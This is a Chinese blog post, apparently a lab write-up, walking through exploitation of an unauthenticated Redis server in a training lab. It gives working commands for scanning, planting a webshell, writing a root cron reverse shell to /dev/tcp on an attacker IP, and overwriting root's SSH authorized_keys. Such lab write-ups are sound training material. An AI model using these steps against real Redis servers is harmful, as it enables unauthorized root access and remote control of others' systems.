Redis未授权访问

Redis未授权访问

试验地址

实验:Redis未授权访问漏洞(合天网安实验室)

实验步骤

1. redis创建shell文件

  1. 首先先下载工具包wget http://tools.hetianlab.com/tools/RedisUnauthorized.zip

  2. 解压unzip RedisUnauthorized.zip

  3. tar -zxvf redis-6.0.3.tar.gz

  4. 移动到redis文件夹下,make

  5. 移动到/redis/src 将redis-cli复制到/usr/bin目录下 cp redis-cli /usr/bin

  6. nmap扫描目标nmap -sS -Pn -p- -T4 10.1.1.200

  7. 发现端口22,80,5902,6002,6379

在这里插入图片描述

  1. 使用dirsearch扫描敏感目录

在这里插入图片描述

敏感信息泄漏

在这里插入图片描述

  1. 连接靶机redis,发现存在未授权访问``

在这里插入图片描述

  1. 上传一句话木马

在这里插入图片描述

  1. 使用蚁剑连接

在这里插入图片描述

2. redis写定时任务反弹shell

  1. Kali使用nc开启监听nc -lvvp 4444
  2. 设置写入的内容,在计划任务前后加入换行(\n)以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/10.1.1.100/4433 0>&1set xx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.1.1.100:4444 0>&1\n\n"
  3. 设置备份路径config set dir /var/spool/cron
  4. 设置备份文件名config set dbfilename root
  5. save

成功获取shell

在这里插入图片描述

3. redis写入ssh公钥获取shell

  1. 生成公钥ssh-keygen -t rsa

  2. 将公钥写入foo.txt文件,前后用\n换行,避免和Redis其他缓存数据混合(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt

  3. 将foo.txt写靶机cat /tmp/foo.txt | redis-cli -h 10.1.1.200 -p 6379 -x set sshkey

  4. 设置备份路径config set dir /root/.ssh/

  5. 设置上传公钥的备份文件名字为**authorized_keys **config set dbfilename "authorized_keys"

  6. save

  7. ssh root@10.1.1.200 -i /root/.ssh/id_rsa

在这里插入图片描述

posted @   神丶上单  阅读(302)  评论(0编辑  收藏  举报
编辑推荐:
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
阅读排行:
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!
点击右上角即可分享
微信分享提示